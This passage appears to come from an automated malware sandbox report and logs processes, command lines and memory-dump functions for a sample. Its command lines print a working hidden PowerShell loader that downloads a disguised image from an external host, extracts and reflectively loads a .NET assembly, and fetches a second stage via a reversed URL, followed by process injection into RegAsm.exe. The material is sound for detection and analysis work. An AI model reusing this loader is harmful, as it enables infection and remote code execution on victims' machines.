B0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreTDgTreBJDgTreFIDgTreUDgTreBBDgTreFYDgTreSDgTreDgTrevDgTreHMDgTreYwDgTrevDgTreHoDgTrebgDgTreuDgTreGUDgTrebgBpDgTreGQDgTrebDgTreBhDgTreHIDgTreZQBnDgTreHkDgTreYQB0DgTreHMDgTreLwDgTrevDgTreDoDgTrecwBwDgTreHQDgTredDgTreBoDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwDgTrexDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBDDgTreDoDgTreXDgTreBQDgTreHIDgTrebwBnDgTreHIDgTreYQBtDgTreEQDgTreYQB0DgTreGEDgTreXDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTrebwB2DgTreGEDgTreJwDgTresDgTreCcDgTreUgBlDgTreGcDgTreQQBzDgTreG0DgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
Imagebase:	0xd50000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	08:37:48
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	08:37:48
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.cccer/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"
Imagebase:	0xd50000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:37:49
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links \| Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.LIRPAVH/sc/zn.enidlaregyats//:sptth' , '1' , 'C:\ProgramData\' , 'ova','RegAsm',''))} }"
Imagebase:	0xd50000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:37:59
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\ova.vbs"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:37:59
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:37:59
Start date:	01/05/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\ova.vbs"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5756, Parent PID: 1988

General

Target ID:	24
Start time:	08:37:59
Start date:	01/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:38:02
Start date:	01/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xec0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	08:38:02
Start date:	01/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x110000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	08:38:02
Start date:	01/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x710000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFD9BAA37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3011344869.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9baa0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: e02c57d93778fbc6a584bb8048c67e799a1b42380c49818b8706c6f29e2a7d3a
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 8F01A77020CB0C4FD748EF0CE051AA6B3E0FF85320F10056DE58AC36A1D632E882CB45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 3632, Parent PID: 6344COMMON

Execution Graph

Execution Coverage:	10.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.3%
Total number of Nodes:	30
Total number of Limit Nodes:	2

Executed Functions

Function 04E65B40 Relevance: 1.9, Strings: 1, Instructions: 675
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 04E663F9

Memory Dump Source

Source File: 00000013.00000002.2682769918.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 6adf5cc1994051c3176d5eb3b6947108993514d29a15762f2d5204424fd663fe
Instruction ID: 245ae492cdf6dd15e4b219fcd30bc7f9761ca463f1f2faf0805215d18e391ed4
Opcode Fuzzy Hash: 6adf5cc1994051c3176d5eb3b6947108993514d29a15762f2d5204424fd663fe
Instruction Fuzzy Hash: C162D274E412299FDB68DF68C984BDDB7B2FB89304F1081EAD509A7291DB306E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04E65890 Relevance: .5, Instructions: 460
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.2682769918.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7266fbd1837c56ead2e51fee8f9e549ab09827e0244c6fd48db7c8b5712bc8e0
Instruction ID: d847e90ef25287c316e6776b89dd8518e786e7cf26d4b3ac8e7488ceac03cbbf
Opcode Fuzzy Hash: 7266fbd1837c56ead2e51fee8f9e549ab09827e0244c6fd48db7c8b5712bc8e0
Instruction Fuzzy Hash: 98814C7190A3A48FDB16DF39D8606D9BFB1AF8A300F0581DBD489AB252DA345E84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07D00E90 Relevance: 7.8, Strings: 6, Instructions: 342
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'sq, xrefs: 07D011F3
tPsq, xrefs: 07D01171
tPsq, xrefs: 07D00F4A
tPsq, xrefs: 07D01165
tPsq, xrefs: 07D00F3E
4'sq, xrefs: 07D011FF

Memory Dump Source

Source File: 00000013.00000002.3187807070.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7d00000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$tPsq$tPsq$tPsq$tPsq
API String ID: 0-3335731306
Opcode ID: 9e403aaa98754caf0268b8e89d7b4abb9c8b8ea4ce35aa03db410a5636dae83f
Instruction ID: 1fc423e1f81cd4448ac14821654a3ad0b996e7bb6bfaa48b517a2c514fb3e871
Opcode Fuzzy Hash: 9e403aaa98754caf0268b8e89d7b4abb9c8b8ea4ce35aa03db410a5636dae83f
Instruction Fuzzy Hash: 0EB1F2B0B142499FCB258BB8C841B6EFBA2BFC5314F14A46AE5459B2C1DE72DC41C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 07D006FF Relevance: 6.4, Strings: 5, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'sq, xrefs: 07D008B7
4'sq, xrefs: 07D008C3
$sq, xrefs: 07D00815
$sq, xrefs: 07D007D9
$sq, xrefs: 07D00821

Memory Dump Source

Source File: 00000013.00000002.3187807070.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7d00000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$$sq$$sq$$sq
API String ID: 0-737313894
Opcode ID: 816d3fa8ec5eb040bee835ae797573c9e3be1dbf7f711def4794807bf3f0a17b
Instruction ID: 1556418b14a7565660f8b8df4465ad08e7cfb09a4bc240affd271b9f1ece7001
Opcode Fuzzy Hash: 816d3fa8ec5eb040bee835ae797573c9e3be1dbf7f711def4794807bf3f0a17b
Instruction Fuzzy Hash: 455125B1714206FFDB256674A4157BAF791AFC2240F14A47AD681CB2C2EF3AC941C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 07D023CC Relevance: 3.6, Strings: 2, Instructions: 1129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(osq, xrefs: 07D02496
(osq, xrefs: 07D024A6

Memory Dump Source

Source File: 00000013.00000002.3187807070.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7d00000_powershell.jbxd

Similarity

API ID:
String ID: (osq$(osq
API String ID: 0-4199119687
Opcode ID: 5f4576330457bcaf4860d89f884cde3047e2b4573a7a23b90f0b895ccd07282a
Instruction ID: 954b0762ed815d0d5cfb07712c10801bcff86bc5b67bb03ed16973fca6c27294
Opcode Fuzzy Hash: 5f4576330457bcaf4860d89f884cde3047e2b4573a7a23b90f0b895ccd07282a
Instruction Fuzzy Hash: D44149B170624ACFCB15CF64C85C7A9FBA2BB85310F14905AE5518B2D1CB31E854C791

Uniqueness

Uniqueness Score: -1.00%

Function 07D0082F Relevance: 2.5, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'sq, xrefs: 07D008B7
$sq, xrefs: 07D00850

Memory Dump Source

Source File: 00000013.00000002.3187807070.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7d00000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$$sq
API String ID: 0-1247463228
Opcode ID: 27b69f35f585872e3a1d629886ffef480e709dc19ccdc7dcf6335c7b510a0428
Instruction ID: 1ecf32cbd7306f23b6e366964cf4afc271c97a1f0e9e23bd50dc1c5bae46d1ea
Opcode Fuzzy Hash: 27b69f35f585872e3a1d629886ffef480e709dc19ccdc7dcf6335c7b510a0428
Instruction Fuzzy Hash: 8101A2B1700205BBDB25B6249800B6DB766FBC5700F5060AADA01AB6C2CF76DE01C7F5

Uniqueness

Uniqueness Score: -1.00%

Function 07D01EFF Relevance: 2.5, Strings: 2, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'sq, xrefs: 07D01F22
4'sq, xrefs: 07D01F2E

Memory Dump Source

Source File: 00000013.00000002.3187807070.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7d00000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq
API String ID: 0-780347173
Opcode ID: de246a8c4645780029e4903b6968b288cbf47184f37168b42090c92d0cabdfd2
Instruction ID: 597dec34b517a7aa827b633692187e52c18fcff955f54cd8f60b91a156a07fe9
Opcode Fuzzy Hash: de246a8c4645780029e4903b6968b288cbf47184f37168b42090c92d0cabdfd2
Instruction Fuzzy Hash: 9FE092B6B0928D4ECF15926494503ACFF617F82391F506196D780871C2DB3688058392

Uniqueness

Uniqueness Score: -1.00%

Function 04E67A1C Relevance: 1.8, APIs: 1, Instructions: 327
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 04E67CEF

Memory Dump Source

Source File: 00000013.00000002.2682769918.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4e60000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 05cb9c52185c5cca48954c6e237eccbbfa9c67311c217b6c472639fae815e528
Instruction ID: d6aae86f85205157dc52c92f00ec480ff7f197cc5ae80cec21ea8618131ffcaa
Opcode Fuzzy Hash: 05cb9c52185c5cca48954c6e237eccbbfa9c67311c217b6c472639fae815e528
Instruction Fuzzy Hash: 2CC139B1D002199FDF20CFA8C841BEDBBB1BF09318F1095A9D419B7250DB74AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04E67A28 Relevance: 1.8, APIs: 1, Instructions: 323
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 04E67CEF

Memory Dump Source

Source File: 00000013.00000002.2682769918.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4e60000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9f6a754517b003a5747ebaddf511b44872dc6fec94da56415fd162323ba4c4d9
Instruction ID: c2b1c2fb7a340bfa304e968b5bf23b53d932ddc6b00142125852ece6156f73f5
Opcode Fuzzy Hash: 9f6a754517b003a5747ebaddf511b44872dc6fec94da56415fd162323ba4c4d9
Instruction Fuzzy Hash: DDC129B0D402199FDF24CFA8C841BEDBBB1BF09318F10A5A9D419B7250DB74AA85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04E67689 Relevance: 1.6, APIs: 1, Instructions: 121
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 04E67763

Memory Dump Source

Source File: 00000013.00000002.2682769918.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4e60000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 62521164855f5871a9a5bf4890f3d49d088b6ae703d008e10ee1c9301b358a7c
Instruction ID: 3ca2575d2e8da84d1716940849f77393cc4f06abc35c01a69d950a7e40809ee4
Opcode Fuzzy Hash: 62521164855f5871a9a5bf4890f3d49d088b6ae703d008e10ee1c9301b358a7c
Instruction Fuzzy Hash: 2D4199B5D012589FCF10CFA9D984AEEBBF1AF49314F24942AE819B7210D734AA45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 04E67690 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,?,?,?), ref: 04E67763

Memory Dump Source

Source File: 00000013.00000002.2682769918.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4e60000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: bc9913ac55ad564edc5cff142d53edfa1ac8c2b6f6834696bb90bc7dbf80e3c0
Instruction ID: 6d4f11ce5abc360efd5d40964a2a6c848ef8cf694e19eb207e0e7e274ca38c37
Opcode Fuzzy Hash: bc9913ac55ad564edc5cff142d53edfa1ac8c2b6f6834696bb90bc7dbf80e3c0
Instruction Fuzzy Hash: 6D41A9B5D012589FCF00CFA9D984AEEBBF1BF49314F24902AE819B7210D734AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 04E67431 Relevance: 1.6, APIs: 1, Instructions: 98
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 04E674E7

Memory Dump Source

Source File: 00000013.00000002.2682769918.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4e60000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 85b1e0eafc2a6c51a7a341c6e3b52adb614307ec6dd24277dbfaa2b78c393b74
Instruction ID: 7e4ee9bb15a1a6ea0fc18f15f739d705633b838c1cb14e027ed9c6a7bd9109f4
Opcode Fuzzy Hash: 85b1e0eafc2a6c51a7a341c6e3b52adb614307ec6dd24277dbfaa2b78c393b74
Instruction Fuzzy Hash: 2241BCB5D012589FCB10CFA9D985AEEFBF1AB48324F24902AE419B7240D738A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04E67438 Relevance: 1.6, APIs: 1, Instructions: 96
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 04E674E7

Memory Dump Source

Source File: 00000013.00000002.2682769918.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4e60000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: dcefaa10a5cd0c7f869591da9d42579780580ed56f4367458e66e1aaab892ae2
Instruction ID: cba7d99a10b41960c4f379dcb0305b44fe894ff7e73d5c3f2308c3be61534f0d
Opcode Fuzzy Hash: dcefaa10a5cd0c7f869591da9d42579780580ed56f4367458e66e1aaab892ae2
Instruction Fuzzy Hash: 9541CCB5D012589FCB10CFA9D985AEEFBF1BF48324F24902AE419B7240D738A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04E67341 Relevance: 1.6, APIs: 1, Instructions: 77
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(?), ref: 04E673C6

Memory Dump Source

Source File: 00000013.00000002.2682769918.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4e60000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5ea5e29a75f8de465e764d4d9b755cfb5d578822dbcf3d7366eb912244e9330f
Instruction ID: 734058f95fc4c68e8cb23d1afbd356e86dce86a8a42d6f265a8e0550e002d7d1
Opcode Fuzzy Hash: 5ea5e29a75f8de465e764d4d9b755cfb5d578822dbcf3d7366eb912244e9330f
Instruction Fuzzy Hash: F131DBB5D012189FCF10CFA9D985AEEFBB4EB49324F14942AE819B7300D735A901CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04E67348 Relevance: 1.6, APIs: 1, Instructions: 75
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNEL32(?), ref: 04E673C6

Memory Dump Source

Source File: 00000013.00000002.2682769918.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4e60000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 64d2b96713836c58fcef66982a96919db10fd0813fcfdd21ca460426481dd7f7
Instruction ID: 9b054d7063bb88589f50fcfa636e01176e11b888a76ce984eee068a9117b980b
Opcode Fuzzy Hash: 64d2b96713836c58fcef66982a96919db10fd0813fcfdd21ca460426481dd7f7
Instruction Fuzzy Hash: B331BCB4D012189FCF14CFA9D985AEEFBB4AF49324F14942AE815B7300D735A941CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04D6D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2680616185.0000000004D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4d6d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0767198fd674eda894aba3136dc15ca9546f50da677779f284db7a1bb2145056
Instruction ID: e2d92214f4ce1c9614834552efc0b8e00f4cd6499bcbb9ca2a894ce541eebff9
Opcode Fuzzy Hash: 0767198fd674eda894aba3136dc15ca9546f50da677779f284db7a1bb2145056
Instruction Fuzzy Hash: D1012B717083409BE7204E25FCC0B67BFD8EF41324F18C41AED4A4B142C678E841C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 04D6D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2680616185.0000000004D6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4d6d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4a612e037f7ba8cc0d572e86e4225a626d34e19735f64ef5fc2981ed0ec9a07
Instruction ID: edd43ecbce1e92958efcc8165fb3bdf0ff4114fd066cb854674d8c0b17d0dd1f
Opcode Fuzzy Hash: e4a612e037f7ba8cc0d572e86e4225a626d34e19735f64ef5fc2981ed0ec9a07
Instruction Fuzzy Hash: D3015E7250E3C05FE7128B259994B52BFB8EF53224F19C1DBD9888F1A3C2695849C772

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 07D012D8 Relevance: 7.7, Strings: 6, Instructions: 206COMMON

Download Yara Rule

Strings

$sq, xrefs: 07D01367
$sq, xrefs: 07D0132F
$sq, xrefs: 07D01385
$sq, xrefs: 07D0134B
$sq, xrefs: 07D01391
$sq, xrefs: 07D01373

Memory Dump Source

Source File: 00000013.00000002.3187807070.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7d00000_powershell.jbxd

Similarity

API ID:
String ID: $sq$$sq$$sq$$sq$$sq$$sq
API String ID: 0-3087168343
Opcode ID: e18de7113bdfefd768ac4c9cb76acc03820d787b4052282247848dc6d21d6bf6
Instruction ID: 0281c5e004f1e7866c25566b50385f4179d9da210626a8e8c2c594c51f49509f
Opcode Fuzzy Hash: e18de7113bdfefd768ac4c9cb76acc03820d787b4052282247848dc6d21d6bf6
Instruction Fuzzy Hash: F0515BB170434A9FDB259A69984077EFBA6AFC1310F24907BD845CB2D2EE32D845C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 07D012CE Relevance: 5.1, Strings: 4, Instructions: 89COMMON

Download Yara Rule

Strings

$sq, xrefs: 07D01367
$sq, xrefs: 07D0132F
$sq, xrefs: 07D01385
$sq, xrefs: 07D0134B

Memory Dump Source

Source File: 00000013.00000002.3187807070.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7d00000_powershell.jbxd

Similarity

API ID:
String ID: $sq$$sq$$sq$$sq
API String ID: 0-2855845837
Opcode ID: 2e0cc9b5604c66462c2ec880adaf5d702a4b3d77a30c589e61461ee5dd84b65c
Instruction ID: 238046b546e1343ef010c3432ae7dd0e7a9f1e630038e8f769d12df51b31fb26
Opcode Fuzzy Hash: 2e0cc9b5604c66462c2ec880adaf5d702a4b3d77a30c589e61461ee5dd84b65c
Instruction Fuzzy Hash: F821E1B6A0420AEBDB208E99D94077EF7B5EB85710F64A12BD84487691DB33C845CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 07D00129 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

$sq, xrefs: 07D00172
4'sq, xrefs: 07D00194
4'sq, xrefs: 07D001A0
$sq, xrefs: 07D0017E

